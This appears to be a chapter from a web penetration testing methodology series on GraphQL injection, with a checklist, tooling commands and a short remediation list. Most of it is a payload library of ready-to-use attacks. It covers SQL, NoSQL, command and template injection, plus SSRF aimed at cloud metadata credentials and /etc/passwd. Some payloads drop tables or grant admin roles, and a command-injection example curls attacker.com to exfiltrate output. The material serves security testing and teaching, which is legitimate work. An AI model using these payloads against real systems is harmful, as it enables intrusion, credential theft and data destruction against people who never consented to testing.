GraphQL Injection
Severity: Critical | CWE: CWE-89, CWE-78, CWE-918 OWASP: A03:2021 – Injection
What Is GraphQL Injection?
GraphQL injection is distinct from GraphQL-level abuse (rate limiting, introspection, DoS — covered in Chapter 83). This chapter focuses on second-order injection through GraphQL resolvers: the SQL, command, SSTI, NoSQL, or SSRF payloads that flow through GraphQL arguments into backend systems that trust them.
GraphQL arguments bypass many traditional WAF rules because:
- The payload is inside JSON with a GraphQL-specific syntax
- Nested fields and aliases obscure the injection point
- GraphQL variables allow multi-step payload delivery
- Batch/alias attacks multiply the injection surface
GraphQL injection path:
{ users(search: "' OR '1'='1") { id email } }
↓
Resolver: db.query(`SELECT * FROM users WHERE name = '${args.search}'`)
↓
SQL injection via resolver argument
Discovery Checklist
Phase 1 — Enumerate Injection Points
- Run introspection to map all query/mutation arguments
- Identify String-type arguments — primary injection candidates
- Look for arguments named:
search,filter,where,query,id,url,path,email,name,command - Check mutation input objects — complex nested structures multiply attack surface
- Identify
IDscalar arguments — may be used in database lookups (IDOR + SQLi) - Look for
url,endpoint,webhook,redirectarguments → SSRF candidates
Phase 2 — Test Injection
- Test SQLi: boolean-based, error-based, time-based blind, union-based
- Test NoSQL: MongoDB operator injection via string
{"$gt":""}→ JSON injection - Test CMDi: OS command injection via shell-calling resolvers
- Test SSTI: template injection if output includes dynamic rendering
- Test SSRF: URL-accepting arguments that trigger server-side requests
- Test path traversal: file-related arguments
Phase 3 — Amplification via GraphQL Features
- Use aliases to multiply injection test across many fields simultaneously
- Use fragments to reuse injection payloads
- Use variables for cleaner payload injection without escaping issues
- Batch via array of operations for parallel injection testing
Payload Library
Payload 1 — SQL Injection via GraphQL Arguments
# Boolean-based blind SQLi:
{
users(filter: "' OR '1'='1") {
id
email
}
}
# Error-based (MySQL):
{
users(search: "' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -") {
id
}
}
# Error-based (PostgreSQL):
{
users(search: "' AND 1=cast((SELECT version()) as int)-- -") {
id
}
}
# UNION-based:
{
users(search: "' UNION SELECT null,username,password,null FROM admin_users-- -") {
id
email
username # These field names may need to match schema — test blind first
}
}
# Time-based blind (MySQL):
{
users(search: "' AND SLEEP(5)-- -") {
id
}
}
# Time-based blind (PostgreSQL):
{
users(search: "'; SELECT pg_sleep(5)-- -") {
id
}
}
# Via GraphQL variables (cleaner — avoids quote escaping in JSON):
query SearchUsers($filter: String!) {
users(filter: $filter) {
id
email
}
}
# Variables: {"filter": "' OR '1'='1"}
# Variables: {"filter": "' UNION SELECT table_name,null FROM information_schema.tables-- -"}
# IDOR + SQLi via ID field:
{
user(id: "1 OR 1=1") {
id
email
role
}
}
# Nested object injection:
mutation {
createOrder(input: {
productId: "1"
couponCode: "' OR discount=100-- -"
quantity: 1
}) {
orderId
total
}
}
Payload 2 — NoSQL Injection via GraphQL
# MongoDB operator injection via string argument:
# If backend uses: db.users.find({name: args.name})
# Inject: {"$gt": ""} as name value → matches all users
# String-delivered operator injection:
{
users(name: "{\"$gt\": \"\"}") {
id
email
}
}
# Or if argument accepts JSON:
{
users(filter: "{\"password\": {\"$gt\": \"\"}}") {
id
email
password # or passwordHash
}
}
# $where injection (MongoDB — executes JS):
{
users(where: "this.role == 'admin'") {
id
email
}
}
{
users(where: "function() { return true; }") {
id
email
}
}
# Regex injection (MongoDB $regex):
{
users(search: ".*") {
id
email
}
}
# Via variables — cleaner JSON injection:
query FindUser($filter: JSON) {
users(filter: $filter) { id email role }
}
# Variables:
# {"filter": {"$where": "this.role === 'admin'"}}
# {"filter": {"password": {"$regex": ".*"}}}
# {"filter": {"role": {"$ne": ""}}}
# Elasticsearch injection (if GraphQL over Elasticsearch):
{
search(query: "* OR _exists_:passwordHash") {
hits {
_source
}
}
}
# DSL injection via string:
{
search(query: "{\"bool\":{\"must\":[{\"match_all\":{}}]}}") {
hits { _source }
}
}
Payload 3 — Server-Side Request Forgery via GraphQL
# SSRF via URL-accepting arguments:
{
fetchPreview(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
content
}
}
# Cloud metadata SSRF:
mutation {
importFromUrl(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role") {
status
data
}
}
# SSRF to internal services:
{
loadResource(url: "http://internal.corp.net:8080/api/admin") {
response
}
}
# Gopher protocol for Redis via SSRF:
{
fetchWebhook(endpoint: "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AKEYS%20%2A%0D%0A") {
result
}
}
# DNS rebinding via GraphQL SSRF:
{
loadFeed(url: "http://YOUR_REBIND_DOMAIN/") {
content
}
}
# Blind SSRF detection via OOB:
{
sendWebhook(url: "http://YOUR.burpcollaborator.net/graphql-ssrf-test") {
status
}
}
# File URL for LFI (if not filtered):
{
readFile(path: "file:///etc/passwd") {
content
}
}
# dict:// for Redis:
{
probeEndpoint(url: "dict://127.0.0.1:6379/KEYS:*") {
response
}
}
Payload 4 — Command Injection via GraphQL Resolvers
# OS command injection via shell-calling resolvers:
# Common in custom implementations using child_process, subprocess, exec
mutation {
generateReport(template: "report.pdf; id > /tmp/pwned") {
url
}
}
# Ping/traceroute-style commands (common in network tools):
{
pingHost(host: "127.0.0.1; cat /etc/passwd") {
result
}
}
# File conversion with OS command injection:
mutation {
convertFile(filename: "test.jpg$(id)") {
downloadUrl
}
}
# Backtick injection:
mutation {
sendEmail(to: "user@target.com", subject: "`id`") {
status
}
}
# Null byte to truncate filename + injection:
mutation {
readDocument(name: "report\x00; id") {
content
}
}
# Via variables for cleaner encoding:
mutation ConvertImage($input: ConvertInput!) {
convertImage(input: $input) { url }
}
# Variables:
# {"input": {"source": "image.png", "target": "output.pdf; curl https://attacker.com/$(id)"}}
Payload 5 — SSTI via GraphQL Template Arguments
# If resolver renders output through template engine:
{
renderTemplate(template: "{{7*7}}") {
output
}
}
# Response: output: "49" → Jinja2/Twig/Freemarker template injection
# Jinja2/Python SSTI:
{
renderTemplate(template: "{{''.__class__.__mro__[1].__subclasses__()[273]('id',shell=True,stdout=-1).communicate()[0]}}") {
output
}
}
# Freemarker SSTI (Java):
{
render(template: "<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}") {
output
}
}
# Velocity SSTI (Java):
{
render(template: "#set($e=''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id'))$e.waitFor()") {
output
}
}
# Twig SSTI (PHP):
{
render(template: "{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}") {
output
}
}
# Handlebars SSTI (JavaScript):
{
render(template: "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require('child_process').execSync('id').toString();\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}") {
output
}
}
Payload 6 — Batch Injection (Amplified Testing)
# Use GraphQL aliases to test multiple injection payloads simultaneously:
{
test1: users(filter: "' OR '1'='1") { id }
test2: users(filter: "'; SELECT SLEEP(5)-- -") { id }
test3: users(filter: "' UNION SELECT null,null-- -") { id }
test4: users(filter: "'; DROP TABLE users-- -") { id }
test5: users(filter: "admin'--") { id }
}
# Parallel SSRF via aliases:
{
meta_aws: fetchUrl(url: "http://169.254.169.254/latest/meta-data/") { content }
meta_gcp: fetchUrl(url: "http://metadata.google.internal/computeMetadata/v1/") { content }
meta_azure: fetchUrl(url: "http://169.254.169.254/metadata/instance") { content }
internal_redis: fetchUrl(url: "http://127.0.0.1:6379/") { content }
internal_docker: fetchUrl(url: "http://127.0.0.1:2375/info") { content }
}
# Batch mutations — multiple injection attempts in one request:
mutation {
a: createUser(email: "' OR '1'='1", role: "admin") { id }
b: createUser(email: "test@test.com", role: "admin'; UPDATE users SET role='admin'-- -") { id }
c: updateUser(id: "1", data: {email: "admin@target.com"; DROP TABLE users-- -"}) { id }
}
# Using fragments to reuse injection payload:
fragment InjectionTest on User {
id
email
}
{
a: user(id: "1 OR 1=1") { ...InjectionTest }
b: user(id: "1 UNION SELECT null,null-- -") { ...InjectionTest }
c: user(id: "'; SELECT password FROM users WHERE username='admin'-- -") { ...InjectionTest }
}
Tools
# Automated GraphQL injection testing with sqlmap:
# Extract schema via introspection → convert to REST-like → sqlmap
python3 << 'EOF'
import requests, json
TARGET = "https://target.com/graphql"
HEADERS = {"Content-Type": "application/json", "Authorization": "Bearer TOKEN"}
# Introspect to find injection points:
introspect = """
{ __schema {
queryType { fields { name args { name type { name kind ofType { name } } } } }
mutationType { fields { name args { name type { name kind ofType { name } } } } }
} }
"""
r = requests.post(TARGET, headers=HEADERS, json={"query": introspect})
schema = r.json()
# Find String arguments (potential injection points):
for op_type in ["queryType", "mutationType"]:
fields = schema.get("data", {}).get("__schema", {}).get(op_type, {}).get("fields", [])
for field in fields:
for arg in field.get("args", []):
type_name = (arg.get("type", {}).get("name") or
arg.get("type", {}).get("ofType", {}).get("name", ""))
if type_name in ("String", "ID"):
print(f"Injection candidate: {field['name']}({arg['name']}: {type_name})")
EOF
# graphw00f — GraphQL fingerprinting:
git clone https://github.com/nicowillis/graphw00f
python3 graphw00f.py -f -t https://target.com/graphql
# sqlmap via GraphQL JSON:
# Create a request file:
cat > /tmp/graphql_req.txt << 'EOF'
POST /graphql HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer TOKEN
{"query":"{ users(search: \"*\") { id email } }"}
EOF
sqlmap -r /tmp/graphql_req.txt --dbms=mysql -p search \
--data '{"query":"{ users(search: \"*\") { id email } }"}' \
--level=5 --risk=3
# gqlspection — GraphQL security analysis:
pip3 install gqlspection
gqlspection -u https://target.com/graphql -H "Authorization: Bearer TOKEN"
# InQL (Burp extension) — GraphQL testing:
# BApp Store: InQL
# Automatically runs introspection, generates test templates
# Manual SSRF detection via Burp Collaborator:
curl -s "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{"query":"{ fetchUrl(url: \"http://COLLABORATOR.burpcollaborator.net/test\") { content } }"}'
Remediation Reference
- Parameterized queries in all resolvers: never use string concatenation to build database queries; use ORM query builders or prepared statements regardless of whether the caller is REST or GraphQL
- Input sanitization per resolver: GraphQL arguments arrive as typed scalars, but apply backend validation: length limits, character whitelists, format validation for IDs/emails
- SSRF prevention: resolvers that make HTTP requests must use an allowlist of permitted domains and protocols; block RFC-1918 addresses and metadata IP ranges
- Principle of least privilege for resolvers: each resolver should use a database user with minimal permissions — a search resolver needs only SELECT, not INSERT/DELETE
- Disable introspection in production: prevents enumeration of injection points (defense in depth — not a fix for injection itself)
- Query depth and complexity limits: limit how deeply nested queries can go — prevents constructing complex injection payloads that bypass timeouts
- Persistent query pattern: only allow pre-registered query hashes in production — prevents arbitrary query injection
Part of the Web Application Penetration Testing Methodology series.